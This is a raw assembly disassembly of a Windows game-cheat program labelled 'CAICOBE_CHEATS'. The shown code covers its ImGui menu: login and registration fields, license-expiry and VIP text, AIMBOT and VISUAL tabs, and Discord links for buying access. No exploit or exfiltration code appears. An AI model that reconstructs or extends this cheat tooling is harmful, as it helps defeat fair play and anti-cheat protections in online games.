call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
or dword [rbp + 0x40], 1
lea rdx, [rbp + 0x628]
xor r8d, r8d
lea rcx, [rbp + 0x610]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
mov rax, qword [rbp + 0x610]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x610], rax
mov rax, qword [rbp + 0x610]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x60c], edx
lea rcx, [rbp + 0x628]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x628], rax
xor eax, eax
mov qword [rbp + 0x690], rax
mov dword [rbp + 0x698], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov rax, qword [0x1402556c0]
mov qword [rsp + 0x68], rax
cmp dword [rax + 0x4870], 0
jg 0x140049f99
mov r8d, 0x6ff
lea rdx, str.C:UserscrackDesktopCAICOBE_CHEATPROYECTOimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsp + 0x68]
mov rax, qword [rax + 0x4878]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400082a0
movss xmm1, dword [0x14028bba4]
mov r10, rax
movss xmm0, dword [0x14028bba0]
mov rcx, qword [0x1402556c0]
movss dword [rbp + 0x31c], xmm1
movss xmm1, dword [0x14028bbac]
movss dword [rbp + 0x318], xmm0
mulss xmm1, dword [rcx + 0x37e0]
lea rcx, [rbp + 0x318]
mov dword [rbp + 0x248], 0x443e0000
movss xmm0, dword [0x14028bba8]
movss dword [rbp + 0x320], xmm0
movss dword [rbp + 0x324], xmm1
mov dword [rbp + 0x24c], 0x42340000
mov qword [rbp + 0x250], 0
call fcn.140004260
mov r9d, eax
mov dword [rsp + 0x28], Ordinal_50
lea rdx, [rbp + 0x250]
movss dword [rsp + 0x20], xmm11
lea r8, [rbp + 0x248]
mov rcx, r10
call fcn.140023540
mov rax, qword [0x1402556c0]
mov qword [rsp + 0x68], rax
cmp dword [rax + 0x4870], 0
jg 0x14004a08a
mov r8d, 0x6ff
lea rdx, str.C:UserscrackDesktopCAICOBE_CHEATPROYECTOimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsp + 0x68]
mov rax, qword [rax + 0x4878]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400082a0
movss xmm1, dword [0x14028bdf4]
mov r10, rax
movss xmm0, dword [0x14028bdf0]
mov rcx, qword [0x1402556c0]
movss dword [rbp + 0x2dc], xmm1
movss xmm1, dword [0x14028bdfc]
movss dword [rbp + 0x2d8], xmm0
mulss xmm1, dword [rcx + 0x37e0]
lea rcx, [rbp + 0x2d8]
mov dword [rbp + 0x258], 0x443e0000
movss xmm0, dword [0x14028bdf8]
movss dword [rbp + 0x2e0], xmm0
movss dword [rbp + 0x2e4], xmm1
mov dword [rbp + 0x25c], 0x44020000
mov dword [rbp + 0x260], 0
mov dword [rbp + 0x264], 0x42340000
call fcn.140004260
mov r9d, eax
mov dword [rsp + 0x28], 0xc0
lea rdx, [rbp + 0x260]
movss dword [rsp + 0x20], xmm11
lea r8, [rbp + 0x258]
mov rcx, r10
call fcn.140023540
mov rcx, qword [0x1402556c0]
mov dword [rbp + 0x268], 0x44340000
mov dword [rbp + 0x26c], 0x41200000
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rcx, qword [rcx + 0x3ea0]
mov qword [rsp + 0x68], rcx
cmp dword [rcx + 0xe8], 0
jg 0x14004a1ad
mov r8d, 0x708
lea rdx, str.C:UserscrackDesktopCAICOBE_CHEATPROYECTOimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [rsp + 0x68]
movsxd rax, dword [rcx + 0xe8]
xor edx, edx
mov r8, qword [rcx + 0xf0]
lea rcx, str.CLOSE
mov r8d, dword [r8 + rax*4 - 4]
call fcn.140003c30
mov rcx, qword [0x1402556c0]
mov dword [rbp + 0x20], eax
cmp dword [rcx + 0x3ee8], eax
jne 0x14004a1f6
lea r8, str.CLOSE
mov edx, ntohl
mov ecx, eax
call fcn.14001dbc0
mov eax, dword [rbp + 0x20]
lea rdx, [rbp + 0x268]
mov ecx, eax
call fcn.14002f8b0
test al, al
jne 0x14004c9d0
mov rcx, qword [rsp + 0x68]
mov dword [rbp + 0x270], 0x442a0000
mov dword [rbp + 0x274], 0x41200000
cmp dword [rcx + 0xe8], 0
jg 0x14004a24d
mov r8d, 0x708
lea rdx, str.C:UserscrackDesktopCAICOBE_CHEATPROYECTOimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [rsp + 0x68]
movsxd rax, dword [rcx + 0xe8]
xor edx, edx
mov r8, qword [rcx + 0xf0]
lea rcx, str.MIN
mov r8d, dword [r8 + rax*4 - 4]
call fcn.140003c30
mov rcx, qword [0x1402556c0]
mov dword [rbp + 0x20], eax
cmp dword [rcx + 0x3ee8], eax
jne 0x14004a296
lea r8, str.MIN
mov edx, ntohl
mov ecx, eax
call fcn.14001dbc0
mov eax, dword [rbp + 0x20]
lea rdx, [rbp + 0x270]
mov ecx, eax
call fcn.14002f610
test al, al
je 0x14004a2bc
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
mov edx, 6
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1402556c0]
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x80]
movss xmm1, dword [rax + 0x18]
subss xmm1, dword [rax + 0x7c]
mov byte [rax + 0x139], 1
addss xmm0, dword [0x140159b28]
addss xmm1, dword [0x140159b2c]
movss dword [rax + 0xfc], xmm0
xorps xmm0, xmm0
movss dword [rax + 0xf8], xmm1
xor eax, eax
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rax
call fcn.140118df4
movups xmm0, xmmword [str.____Developer_:_Caicobe_Cheats]
mov qword [rbp], rax
mov rdx, rax
mov qword [rbp + 0x18], Ordinal_33
mov qword [rbp + 0x10], Ordinal_33
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140158b60]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x140158b68]
mov dword [rax + 0x18], ecx
movzx eax, word [0x140158b6c]
mov rcx, qword [0x1402556c0]
mov word [rdx + 0x1c], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rdx + 0x1e], al
mov byte [rdx + 0x1f], 0
lea rdx, [rbp]
mov rax, qword [rcx + 0x3ea0]
cmp qword [rbp + 0x18], 0xf
cmova rdx, qword [rbp]
movss xmm6, dword [rax + 0xf8]
movss xmm7, dword [rax + 0xfc]
subss xmm6, dword [rax + 0x18]
subss xmm7, dword [rax + 0x1c]
mov qword [rsp + 0x68], rdx
addss xmm6, dword [rax + 0x7c]
addss xmm7, dword [rax + 0x80]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
lea rcx, [rbp + 0x20]
movaps xmm2, xmm6
addss xmm2, dword [0x140159a44]
movss xmm0, dword [rax + 0x1c]
movaps xmm3, xmm7
subss xmm0, dword [rax + 0x80]
movss xmm1, dword [rax + 0x18]
subss xmm1, dword [rax + 0x7c]
addss xmm3, dword [0x140159a44]
mov byte [rax + 0x139], 1
addss xmm1, xmm2
addss xmm0, xmm3
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
movdqa xmm0, xmmword [0x140159eb0]
movups xmmword [rbp + 0x20], xmm0
call fcn.14002dc30
mov rax, qword [0x1402556c0]
mov dword [rbp + 0x2e8], 0x3f800000
mov dword [rbp + 0x2ec], 0x3f800000
mov dword [rbp + 0x2f0], 0x3f800000
movsd xmm0, qword [rax + 0x3e18]
cvtpd2ps xmm0, xmm0
mulss xmm0, dword [0x140159a58]
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
mov rcx, qword [0x1402556c0]
mulss xmm0, xmm14
mov rax, qword [rcx + 0x3ea0]
addss xmm0, xmm14
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
movss dword [rbp + 0x2f4], xmm0
movss xmm1, dword [rax + 0x18]
lea rcx, [rbp + 0x2e8]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov rdx, qword [rsp + 0x68]
mov byte [rax + 0x139], 1
addss xmm1, xmm6
addss xmm0, xmm7
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
call fcn.14002dc30
call fcn.140045bf0
mov ecx, reloc.WLDAP32.dll_Ordinal_45
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14004a50d
cmp byte [0x14028b7a4], 0
sete byte [0x14028b7a4]
cmp byte [0x1402556b9], 0
jne 0x14004ae51
call fcn.140015ea0
mov rcx, qword [0x1402556c0]
lea rdx, [rbp + 0x278]
mov dword [rbp + 0x278], 0x43900000
mov dword [rbp + 0x27c], 0x43c80000
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
lea rcx, reloc.WLDAP32.dll_Ordinal_32
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], 1
addss xmm1, dword [0x140159b0c]
addss xmm0, dword [0x140159b00]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
call fcn.14000bf10
xor eax, eax
mov qword [rbp + 0x280], 0
mov qword [rsp + 0x38], rax
lea r8, [0x1402557b0]
mov qword [rsp + 0x30], rax
lea rdx, str.Username
mov dword [rsp + 0x28], eax
lea rcx, [0x140158b84]
lea rax, [rbp + 0x280]
mov r9d, 0x41
mov qword [rsp + 0x20], rax
call fcn.140033590
xor eax, eax
mov qword [rbp + 0x150], 0
mov qword [rsp + 0x38], rax
lea r8, [0x140255710]
mov qword [rsp + 0x30], rax
lea rdx, str.Password
mov dword [rsp + 0x28], eax
lea rcx, [0x140158b94]
lea rax, [rbp + 0x150]
mov r9d, 0x41
mov qword [rsp + 0x20], rax
call fcn.140033590
xor eax, eax
mov qword [rbp + 0x158], 0
mov qword [rsp + 0x38], rax
lea r8, [0x140255760]
mov qword [rsp + 0x30], rax
lea rdx, [0x140158b98]
mov dword [rsp + 0x28], eax
lea rcx, [0x140158b9c]
lea rax, [rbp + 0x158]
mov r9d, 0x41
mov qword [rsp + 0x20], rax
call fcn.140033590
lea rdx, [rbp + 0x160]
mov dword [rbp + 0x160], 0x43020000
lea rcx, str.Login
mov dword [rbp + 0x164], 0x42200000
call fcn.14002ec60
test al, al
je 0x14004ac82
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp - 0x80], rax
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x78], rax
lea rax, [0x140255710]
movups xmmword [rsp + 0x70], xmm0
inc r8
cmp byte [rax + r8], 0
jne 0x14004a6c4
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140037140
lea rdx, [0x1402557b0]
lea rcx, [rbp + 0x4d0]
call fcn.140036bf0
lea r8, [rsp + 0x70]
mov rdx, rax
lea rcx, [0x140276940]
call fcn.1400c49d0
cmp byte [0x140276b58], 0
jne 0x14004a712
mov byte [0x1402556b9], 1
mov edx, 0x20001
lea rcx, str.C:WindowsSENSEIBYTES.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
xorps xmm0, xmm0
lea rdx, [rbp + 0x60]
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
call fcn.14003ca70
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, qword [0x140276a90]
xorps xmm6, xmm6
cvtsi2ss xmm6, rax
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 6
jb 0x14004ca0d
cmp qword [0x140276a98], 0xf
lea rax, [0x140276a80]
mov qword [rsp + 0x30], rcx
lea r9, str.User:
cmova rax, qword [0x140276a80]
lea r8, [0x140276a80]
mov qword [rsp + 0x28], rax
lea rcx, [rbp - 0x20]
movzx edx, r14b
mov qword [rsp + 0x20], 6
call fcn.140037470
lea rdx, [0x140276b38]
lea rcx, [rbp + 0x490]
call fcn.14004d7c0
cmp qword [rbp + 0x4a8], 0xf
lea rcx, [rbp + 0x490]
cmova rcx, qword [rbp + 0x490]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
movsxd rcx, eax
mov qword [rbp + 0x328], rcx
lea rcx, [rbp + 0x328]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
lea r8, str.Expira_en__d_Dias
mov edx, reloc.WLDAP32.dll_Ordinal_30
mov r9, rax
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
mov rcx, qword [rbp - 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 3
jb 0x14004ca07
cmp qword [rbp - 8], 0xf
lea rax, [0x140158bdc]
mov qword [rsp + 0x30], 3
lea r9, [rbp - 0x20]
cmova r9, qword [rbp - 0x20]
lea r8, [rbp - 0x20]
mov qword [rsp + 0x28], rax
movzx edx, dil
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x70]
call fcn.140037470
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x70]
call fcn.140036ca0
xor ecx, ecx
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], rcx
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xf8], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf0], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rdx
mov byte [rax], cl
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14004a8ef
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a8ea
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c9a6
call fcn.140119140
mov rcx, qword [str.KeyBings]
lea r9, [rbp + 0x130]
xor eax, eax
mov qword [rsp + 0x30], 3
cmp qword [rbp + 0xf8], 0xf
lea r8, [rbp + 0x130]
mov qword [rbp + 0x3e8], rax
xorps xmm0, xmm0
mov qword [rbp + 0x410], rax
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x458], rax
lea rax, [rbp + 0xe0]
cmova rax, qword [rbp + 0xe0]
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x3d8], rax
lea rax, [0x140158bdc]
mov qword [rbp + 0x148], rdx
movzx edx, sil
mov qword [rbp + 0x130], rcx
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 8
movups xmmword [rbp + 0x438], xmm0
mov qword [rbp + 0x140], 8
movups xmmword [rbp + 0x448], xmm0
mov byte [rbp + 0x138], 0
call fcn.140037470
lea rdx, [0x140254888]
lea rcx, [rsp + 0x70]
call fcn.140036d30
xor ecx, ecx
mov edx, reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rdx
mov byte [rax], cl
mov rdx, qword [rbp - 0x78]
movups xmmword [rbp + 0x4b0], xmm0
movups xmmword [rbp + 0x4c0], xmm1
cmp rdx, 0xf
jbe 0x14004aa17
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004aa10
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c9ad
call fcn.140119140
xor ecx, ecx
mov eax, dword [0x140158bf8]
lea r9, reloc.WS2_32.dll_ioctlsocket
movsd xmm0, qword [str.PLAN:_PREMIUM]
lea r8, [rbp + 0x20]
mov dword [rbp + 0x28], eax
mov edx, reloc.WS2_32.dll_ntohs
movzx eax, byte [0x140158bfc]
mov byte [rbp + 0x2c], al
movzx eax, word [0x140158c08]
mov word [rbp + 0xc8], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rbp + 0xca], al
lea rax, [rbp + 0x20]
movsd qword [rbp + 0x20], xmm0
movsd xmm0, qword [str.VIP:_ACTIVO]
mov word [rbp + 0x2e], cx
mov qword [rbp + 0x38], rdx
mov dword [rbp + 0xcc], ecx
lea rcx, [rbp + 0x4d0]
mov qword [rbp + 0xd8], rdx
movzx edx, r13b
mov qword [rsp + 0x30], reloc.WS2_32.dll_listen
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 1
mov qword [rbp + 0x30], reloc.WS2_32.dll_listen
mov byte [rbp + 0x2d], 0
mov qword [rbp + 0xd0], ntohl
movsd qword [rbp + 0xc0], xmm0
mov byte [rbp + 0xcb], 0
call fcn.140037470
mov r8d, 1
lea rdx, reloc.WS2_32.dll_ioctlsocket
lea rcx, [rbp + 0x4d0]
call fcn.140036f40
xor ecx, ecx
lea rdx, [rbp + 0xc0]
mov qword [rbp - 0x80], rcx
xorps xmm0, xmm0
mov qword [rbp - 0x78], rcx
mov r8d, ntohl
movups xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rcx
mov ecx, reloc.WS2_32.dll_ntohs
mov qword [rax + 0x18], rcx
lea rcx, [rsp + 0x70]
mov byte [rax], 0
call fcn.140036f40
xor ecx, ecx
mov edx, reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rcx
mov byte [rax], cl
lea rcx, [rsp + 0x70]
movups xmmword [rbp + 0x5a0], xmm0
mov qword [rax + 0x18], rdx
movups xmmword [rbp + 0x5b0], xmm1
call fcn.140036b00
lea rcx, [rbp + 0x4d0]
call fcn.140036b00
lea r8, [rbp + 0x5a0]
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x5c0]
call fcn.14004e0e0
lea rcx, [rbp + 0x5c0]
call fcn.140036ad0
mov qword [rbp + 0x3d0], rax
lea rcx, str._CAICOBE_CHEATS
cvttss2si rax, xmm6
mov qword [rbp + 0x3f8], rcx
mov qword [rbp + 0x3e0], rax
lea rax, str.https:__i.giphy.com_media_v1.Y2lkPTc5MGI3NjExc29xa2djdG1yYnpzcnc1YmYzOXVhdmxscWZieDl0bG1qZzhqZXJzcCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw_xfn8etZCMPWQo_giphy.gif
mov qword [rbp + 0x3f0], rax
mov qword [rbp + 0x400], rax
lea rax, str.Developer____SENSEI_BYTES___
mov qword [rbp + 0x408], rax
lea rax, str.COMPRA_AQUI
mov qword [rbp + 0x418], rax
lea rcx, [rbp + 0x3d0]
lea rax, str.https:__discord.gg_bcTWNAxk
mov qword [rbp + 0x420], rax
lea rax, str.INF_DEL_DEV
mov qword [rbp + 0x428], rax
lea rax, str.https:__discord.gg_XQK3fw6e23
mov qword [rbp + 0x430], rax
call fcn.14003d2e0
lea rcx, [rbp + 0x5c0]
call fcn.140036b00
lea rcx, [rbp + 0x5a0]
call fcn.140036b00
lea rcx, [rbp + 0xc0]
call fcn.140036b00
lea rcx, [rbp + 0x20]
call fcn.140036b00
lea rcx, [rbp + 0x4b0]
call fcn.140036b00
lea rcx, [rbp + 0x130]
call fcn.140036b00
lea rcx, [rbp + 0xe0]
call fcn.140036b00
lea rcx, [rbp + 0x490]
call fcn.140036b00
lea rcx, [rbp - 0x20]
call fcn.140036b00
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.140015c40
lea rcx, str.Register
mov dword [rbp + 0x168], 0x43020000
lea rdx, [rbp + 0x168]
mov dword [rbp + 0x16c], 0x42200000
call fcn.14002ec60
test al, al
je 0x14004ad24
lea rdx, [0x140255760]
lea rcx, [rbp + 0x5c0]
call fcn.140036bf0
lea rdx, [0x140255710]
mov qword [rsp + 0x68], rax
lea rcx, [rbp + 0x4d0]
call fcn.140036bf0
lea rdx, [0x1402557b0]
mov qword [rbp + 0x20], rax
lea rcx, [rbp + 0x4b0]
call fcn.140036bf0
mov r9, qword [rsp + 0x68]
lea rcx, [0x140276940]
mov r8, qword [rbp + 0x20]
mov rdx, rax
call fcn.1400c6b10
cmp byte [0x140276b58], 0
je 0x14004ad24
mov byte [0x1402556b9], 1
call fcn.14000c020
mov rcx, qword [0x1402556c0]
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], 1
addss xmm1, xmm11
addss xmm0, xmm15
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
movabs rax, 0x7fffffffffffffff
mov rcx, qword [0x140276b70]
sub rax, rcx
cmp rax, 0x2a
jb 0x14004ca13
cmp qword [0x140276b78], 0xf
lea rax, [0x140276b60]
mov qword [rsp + 0x30], rcx
lea r9, [0x140158d58]
cmova rax, qword [0x140276b60]
lea r8, [0x140276b60]
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x108]
movzx edx, bl
mov qword [rsp + 0x20], Ordinal_46
call fcn.140037470
cmp qword [0x140276b78], 0xf
lea rcx, [0x140276b60]
cmova rcx, qword [0x140276b60]
call fcn.14002daf0
call fcn.140015ff0
mov rdx, qword [rbp + 0x120]
cmp rdx, 0xf
jbe 0x14004ae44
mov rcx, qword [rbp + 0x108]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ae3f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c9b4
call fcn.140119140
cmp byte [0x1402556b9], 0
je 0x14004c766
mov rax, qword [0x1402556c0]
mov qword [rsp + 0x68], rax
cmp dword [rax + 0x4870], 0
jg 0x14004ae85
mov r8d, 0x6ff
lea rdx, str.C:UserscrackDesktopCAICOBE_CHEATPROYECTOimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsp + 0x68]
mov rax, qword [rax + 0x4878]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400082a0
movss xmm1, dword [0x14028be34]
mov r10, rax
movss xmm0, dword [0x14028be30]
mov rcx, qword [0x1402556c0]
movss dword [rbp + 0x2fc], xmm1
movss xmm1, dword [0x14028be3c]
movss dword [rbp + 0x2f8], xmm0
mulss xmm1, dword [rcx + 0x37e0]
lea rcx, [rbp + 0x2f8]
mov dword [rbp + 0x170], 0x443e0000
movss xmm0, dword [0x14028be38]
movss dword [rbp + 0x300], xmm0
movss dword [rbp + 0x304], xmm1
mov dword [rbp + 0x174], 0x42340000
mov dword [rbp + 0x178], 0
mov dword [rbp + 0x17c], 0x42340000
call fcn.140004260
mov r9d, eax
movss dword [rsp + 0x20], xmm10
lea rdx, [rbp + 0x178]
mov rcx, r10
lea r8, [rbp + 0x170]
call fcn.1400232d0
mov rax, qword [0x1402556c0]
mov qword [rsp + 0x68], rax
cmp dword [rax + 0x4870], 0
jg 0x14004af77
mov r8d, 0x6ff
lea rdx, str.C:UserscrackDesktopCAICOBE_CHEATPROYECTOimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsp + 0x68]
mov rax, qword [rax + 0x4878]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400082a0
movss xmm1, dword [0x14028be34]
mov r10, rax
movss xmm0, dword [0x14028be30]
mov rcx, qword [0x1402556c0]
movss dword [rbp + 0x29c], xmm1
movss xmm1, dword [0x14028be3c]
movss dword [rbp + 0x298], xmm0
mulss xmm1, dword [rcx + 0x37e0]
lea rcx, [rbp + 0x298]
mov dword [rbp + 0x180], 0x432b0000
movss xmm0, dword [0x14028be38]
movss dword [rbp + 0x2a0], xmm0
movss dword [rbp + 0x2a4], xmm1
mov dword [rbp + 0x184], 0x44020000
mov dword [rbp + 0x188], 0x432b0000
mov dword [rbp + 0x18c], 0x42340000
call fcn.140004260
mov r9d, eax
movss dword [rsp + 0x20], xmm10
lea rdx, [rbp + 0x188]
mov rcx, r10
lea r8, [rbp + 0x180]
call fcn.1400232d0
mov rax, qword [0x1402556c0]
lea rdx, [rbp + 0x288]
mov qword [rsp + 0x68], rax
mov dword [rbp + 0x288], reloc.WS2_32.dll_ntohl
movss xmm1, dword [rax + 0x382c]
lea rcx, [rax + 0x47f8]
movss xmm0, dword [rax + 0x3830]
movss dword [rbp + 0x28c], xmm1
movss dword [rbp + 0x290], xmm0
call fcn.14001e470
mov rax, qword [rsp + 0x68]
mov rcx, qword [0x1402556c0]
mov dword [rax + 0x382c], 0x40e00000
mov dword [rax + 0x3830], 0x40e00000
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], 1
addss xmm1, dword [0x140159a80]
addss xmm0, dword [0x140159af0]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
call fcn.140015ea0
cmp dword [0x1402556f0], 0
lea r9, [rbp + 0x190]
lea r8, str.Seguridad
mov dword [rbp + 0x190], 0x431d0000
sete cl
mov dword [rbp + 0x194], 0x420c0000
lea rdx, [0x14014a408]
call fcn.14002e420
test al, al
je 0x14004b13c
xor eax, eax
mov dword [0x1402556f0], eax
jmp 0x14004b142
mov eax, dword [0x1402556f0]
cmp eax, 1
mov dword [rbp + 0x198], 0x431d0000
lea r9, [rbp + 0x198]
mov dword [rbp + 0x19c], 0x420c0000
sete cl
lea r8, str.AIMBOT
lea rdx, [0x14014a404]
call fcn.14002e420
test al, al
je 0x14004b187
mov eax, 1
mov dword [0x1402556f0], eax
jmp 0x14004b18d
mov eax, dword [0x1402556f0]
cmp eax, 2
mov dword [rbp + 0x1a0], 0x431d0000
lea r9, [rbp + 0x1a0]
mov dword [rbp + 0x1a4], 0x420c0000
sete cl
lea r8, str.VISUAL
lea rdx, [0x14014a40c]
call fcn.14002e420
test al, al
je 0x14004b1d2
mov eax, 2
mov dword [0x1402556f0], eax
jmp 0x14004b1d8
mov eax, dword [0x1402556f0]
cmp eax, 3
mov dword [rbp + 0x1a8], 0x431d0000
lea r9, [rbp + 0x1a8]
mov dword [rbp + 0x1ac], 0x420c0000
sete cl
lea r8, str.KeyBins
lea rdx, [0x14014a410]
call fcn.14002e420
test al, al
je 0x14004b21a
mov dword [0x1402556f0], 3
call fcn.140015ff0
mov ecx, 1
call fcn.140004880
mov ecx, dword [0x1402556ec]
mov edx, dword [0x1402556f0]
cmp edx, ecx
jne 0x14004b23f
movaps xmm6, xmm10
jmp 0x14004b243
movaps xmm6, xmm12
mov rax, qword [0x1402556c0]
mov qword [rsp + 0x68], rax
test rax, rax
jne 0x14004b286
mov r8d, 0xfd8
lea rdx, str.C:UserscrackDesktopCAICOBE_CHEATPROYECTOimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1402556c0]
mov ecx, dword [0x1402556ec]
mov edx, dword [0x1402556f0]
mov qword [rsp + 0x68], rax
movss xmm8, dword [rax + 0x18]
movaps xmm0, xmm8
mulss xmm0, dword [0x140159a70]
mulss xmm0, xmm6
addss xmm0, dword [0x1402556fc]
comiss xmm9, xmm0
jbe 0x14004b2b0
movaps xmm6, xmm9
jmp 0x14004b2b8
movaps xmm6, xmm10
minss xmm6, xmm0
movss dword [0x1402556fc], xmm6
cmp edx, ecx
jne 0x14004b2ca
movaps xmm7, xmm10
jmp 0x14004b2ce
movaps xmm7, xmm12
movss xmm0, dword [0x140159b14]
